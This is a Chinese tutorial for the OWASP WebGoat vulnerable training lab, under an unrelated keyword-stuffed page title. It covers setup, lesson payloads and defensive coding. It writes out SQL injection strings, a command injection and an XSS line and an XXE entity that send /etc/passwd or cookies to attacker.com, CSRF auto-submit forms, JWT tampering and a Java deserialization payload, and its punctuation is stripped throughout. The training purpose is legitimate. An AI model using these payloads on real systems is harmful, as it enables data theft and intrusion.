怎么做网站360图片链接删除多余wordpress前端
怎么做网站360图片链接,删除多余wordpress前端,网站接入服务提供商,邢台市招生考试院WebGoat漏洞靶场实战教程
一、WebGoat概述
1.1 什么是WebGoat
WebGoat是OWASP#xff08;开放式Web应用程序安全项目#xff09;维护的一个专门用于Web应用安全学习的靶场平台。它是一个故意设计成不安全的教育工具#xff0c;包含大量真实的漏洞场景。
1.2 主要特点
真…WebGoat漏洞靶场实战教程一、WebGoat概述1.1 什么是WebGoatWebGoat是OWASP开放式Web应用程序安全项目维护的一个专门用于Web应用安全学习的靶场平台。它是一个故意设计成不安全的教育工具包含大量真实的漏洞场景。1.2 主要特点真实漏洞场景包含OWASP Top 10各种漏洞交互式学习每个漏洞都有详细指导和练习自动评分系统即时反馈学习效果现代Web技术涵盖REST API、AJAX、现代框架等二、环境搭建2.1 Docker部署推荐# 拉取最新版本docker pull webgoat/goatandwolf# 运行容器docker run -d -p8080:8080 -p9090:9090 webgoat/goatandwolf# 访问地址# WebGoat: http://localhost:8080/WebGoat# WebWolf: http://localhost:9090/WebWolf2.2 传统部署# 下载最新jar包wgethttps://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jarwgethttps://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webwolf-8.2.2.jar# 启动WebGoatjava -jar webgoat-server-8.2.2.jar --server.port8080# 启动WebWolf另一个终端java -jar webwolf-8.2.2.jar --server.port90902.3 注册账号访问 http://localhost:8080/WebGoat点击Register new user创建账号建议webgoat/password登录后开始课程三、核心课程模块详解3.1 通用漏洞General3.1.1 HTTP基础# HTTP请求方法实验 GET /WebGoat/HttpBasics/attack1?paramvalue HTTP/1.1 Host: localhost:8080 User-Agent: WebGoat/1.0 # 修改请求方法 POST /WebGoat/HttpBasics/attack1 HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 11 paramvalue3.1.2 HTTP代理使用Burp Suite或OWASP ZAP拦截请求修改请求参数绕过客户端验证重放攻击测试3.2 注入漏洞Injection3.2.1 SQL注入数字型注入-- 基础注入101OR11-- 获取额外数据101OR11UNIONSELECTuserid,user_name,password,cookie,cookieFROMuser_system_data-- 盲注测试101AND(SELECTSUBSTRING(password,1,1)FROMuser_system_dataWHEREuser_nametom)a字符串注入-- 绕过登录 OR 11-- 获取表结构;SELECT*FROMinformation_schema.tables--3.2.2 命令注入# 基础注入127.0.0.1ls-la# 利用DNS泄露数据127.0.0.1nslookup$(cat/etc/passwd|base64).attacker.com# 时间盲注127.0.0.1sleep53.3 跨站脚本XSS3.3.1 反射型XSS// 基础脚本scriptalert(document.domain)/script// 窃取Cookiescriptfetch(http://attacker.com/steal?cookiedocument.cookie)/script// DOM XSSiframe srcjavascript:alert(document.cookie)/iframe3.3.2 存储型XSS// 评论区注入img srcxonerrorfetch(http://localhost:9090/files/steal,{method:POST,body:JSON.stringify({cookie:document.cookie})})// 持久化payloadscriptlocalStorage.setItem(malicious,payload)/script3.4 访问控制漏洞3.4.1 水平越权# 修改用户ID访问他人数据 GET /WebGoat/IDOR/profile/101 HTTP/1.1 Cookie: JSESSIONIDxxx; authenticatedtrue # 尝试访问他人账户 GET /WebGoat/IDOR/profile/102 HTTP/1.13.4.2 垂直越权# 普通用户尝试访问管理员功能 POST /WebGoat/access-control/user-menu HTTP/1.1 Content-Type: application/json {menu: admin}3.5 敏感数据泄露3.5.1 API密钥泄露# 搜索JS文件中的密钥grep-rapi_keystatic/grep-rpasswordsrc/# 检查源代码注释view-source:http://localhost:8080/WebGoat3.5.2 目录遍历GET /WebGoat/PathTraversal/random-picture?../../../../etc/passwd GET /WebGoat/PathTraversal/profile-picture?fileName../../../application.properties3.6 CSRF攻击!-- 构造恶意表单 --formactionhttp://localhost:8080/WebGoat/csrf/basic-get-flagmethodPOSTinputtypehiddennamecsrfvaluefalseinputtypesubmitvalue点击领奖/formscriptdocument.forms[0].submit()/script四、WebWolf使用指南4.1 文件上传利用!-- 上传恶意HTML文件 --formactionhttp://localhost:9090/WebWolf/fileuploadmethodpostenctypemultipart/form-datainputtypefilenamefileinputtypesubmit/form!-- 文件内容CSRF攻击页面 --scriptfetch(http://localhost:8080/WebGoat/csrf/attack,{method:POST,body:confirmFlagValtest})/script4.2 邮件钓鱼# 使用nc监听nc-l -p9090# 发送钓鱼邮件WebWolf内建功能收件人webgoatlocalhost 主题密码重置 内容ahrefhttp://localhost:9090/files/your-malicious-page点击重置密码/a五、高级攻击技术5.1 JWT攻击// 1. 修改算法为noneconstheader{alg:none,typ:JWT};// 2. 密钥混淆攻击// 尝试使用弱密钥secret、password、123456constjwtrequire(jsonwebtoken);consttokenjwt.sign({user:admin},secret);// 3. 修改payload// 解码JWT - 修改数据 - 重新编码5.2 XXE攻击!-- 外部实体注入 --?xml version1.0?!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///etc/passwd]commenttextxxe;/text/comment!-- 使用参数实体 --!DOCTYPEfoo[!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY#x25;exfil SYSTEM http://attacker.com/?%file; %eval; %exfil;]5.3 反序列化漏洞// Java反序列化payloadpublicclassMaliciousimplementsSerializable{privatevoidreadObject(ObjectInputStreamin)throwsException{Runtime.getRuntime().exec(calc.exe);}}// 生成序列化对象ByteArrayOutputStreambosnewByteArrayOutputStream();ObjectOutputStreamoosnewObjectOutputStream(bos);oos.writeObject(newMalicious());StringencodedBase64.getEncoder().encodeToString(bos.toByteArray());六、防御措施实践6.1 SQL注入防御// 使用预编译语句StringsqlSELECT * FROM users WHERE id ?;PreparedStatementstmtconnection.prepareStatement(sql);stmt.setInt(1,userId);ResultSetrsstmt.executeQuery();// 使用存储过程CallableStatementcsconnection.prepareCall({call get_user(?)});cs.setInt(1,userId);ResultSetrscs.executeQuery();6.2 XSS防御// 前端编码functionencodeHTML(str){returnstr.replace(/[]/g,function(match){return{:amp;,:lt;,:gt;,:quot;,:#39;}[match];});}// 设置CSP头Content-Security-Policy:default-srcself;script-srcselfunsafe-inline6.3 CSRF防御// 添加CSRF Tokenform action/transfermethodpostinput typehiddennamecsrf_tokenvalue${session.csrfToken}input typetextnameamountinput typesubmit/form// 验证RefererStringrefererrequest.getHeader(Referer);if(!referer.startsWith(https://trusted-domain.com)){thrownewSecurityException(Invalid referer);}七、实战演练路线图阶段1新手入门1-2天✅ 环境搭建和账号注册✅ HTTP基础练习✅ 代理工具配置✅ 简单SQL注入✅ 反射型XSS阶段2中级提升3-5天✅ 高级SQL注入盲注、时间盲注✅ 存储型XSS和DOM XSS✅ CSRF攻击与防御✅ 访问控制漏洞✅ 文件上传漏洞阶段3高级挑战5-7天✅ JWT安全✅ XXE漏洞✅ 反序列化攻击✅ 服务端请求伪造SSRF✅ 不安全的反序列化阶段4综合实战7-10天✅ 多漏洞组合利用✅ 编写自动化攻击脚本✅ 漏洞修复实践✅ 安全代码审查八、工具集成8.1 Burp Suite配置Proxy配置-监听端口8081-目标作用域localhost:8080-拦截规则.*WebGoat.*Intruder使用 1. 标记注入点§param§ 2. 选择攻击类型Sniper 3. 加载Payload文件sqli-payloads.txt 4. 开始攻击8.2 OWASP ZAP自动化扫描# 启动ZAPzap.sh -daemon -port8090-host0.0.0.0# 运行自动化扫描zap-cli quick-scan -s all http://localhost:8080/WebGoat zap-cli report -o webgoat-report.html -f html8.3 自定义脚本#!/usr/bin/env python3# WebGoat自动化测试脚本importrequestsfrombs4importBeautifulSoupclassWebGoatTester:def__init__(self,base_urlhttp://localhost:8080):self.sessionrequests.Session()self.base_urlbase_urldeflogin(self,usernamewebgoat,passwordpassword):login_urlf{self.base_url}/WebGoat/logindata{username:username,password:password}responseself.session.post(login_url,datadata)returnsuccessinresponse.textdeftest_sql_injection(self):urlf{self.base_url}/WebGoat/SqlInjection/assignment5apayloads[Smith OR 11,Smith UNION SELECT 1,2,3--,Smith AND SLEEP(5)--]forpayloadinpayloads:params{name:payload}responseself.session.get(url,paramsparams)ifsuccessinresponse.text:print(f成功{payload})returnTruereturnFalse九、常见问题解决9.1 连接问题# 端口占用netstat-ano|findstr :8080 taskkill /PID[PID]/F# Docker容器启动失败docker logs webgoat_container dockerrmwebgoat_containerdocker run...9.2 课程无法完成清除浏览器缓存和Cookie重新注册账号检查WebWolf是否正常运行查看浏览器控制台错误信息9.3 性能问题# 调整JVM参数java -Xmx2g -Xms512m -jar webgoat-server-8.2.2.jar# 使用Docker资源限制docker run -d -p8080:8080 -m 2g --cpus2webgoat/goatandwolf十、学习资源官方资源GitHub仓库https://github.com/WebGoat/WebGoat官方文档https://github.com/WebGoat/WebGoat/wikiOWASP官网https://owasp.org/www-project-webgoat/扩展学习OWASP Juice Shop现代Web应用漏洞靶场PentesterLab专业渗透测试练习HackTheBox综合渗透测试平台TryHackMe结构化网络安全学习书籍推荐《Web Application Security》《The Web Application Hacker’s Handbook》《Real-World Bug Hunting》十一、安全实践建议合法授权仅在授权环境中测试隔离环境使用虚拟机或Docker容器记录学习保持详细的学习笔记社区参与参与OWASP本地会议持续更新定期更新靶场版本学习新漏洞通过本教程将系统掌握Web应用安全的核心漏洞类型、攻击方法和防御措施。建议按照模块顺序逐步学习每个漏洞类型都要理解原理、掌握攻击方法、学会防御措施。实践是最好的老师多做练习才能真正掌握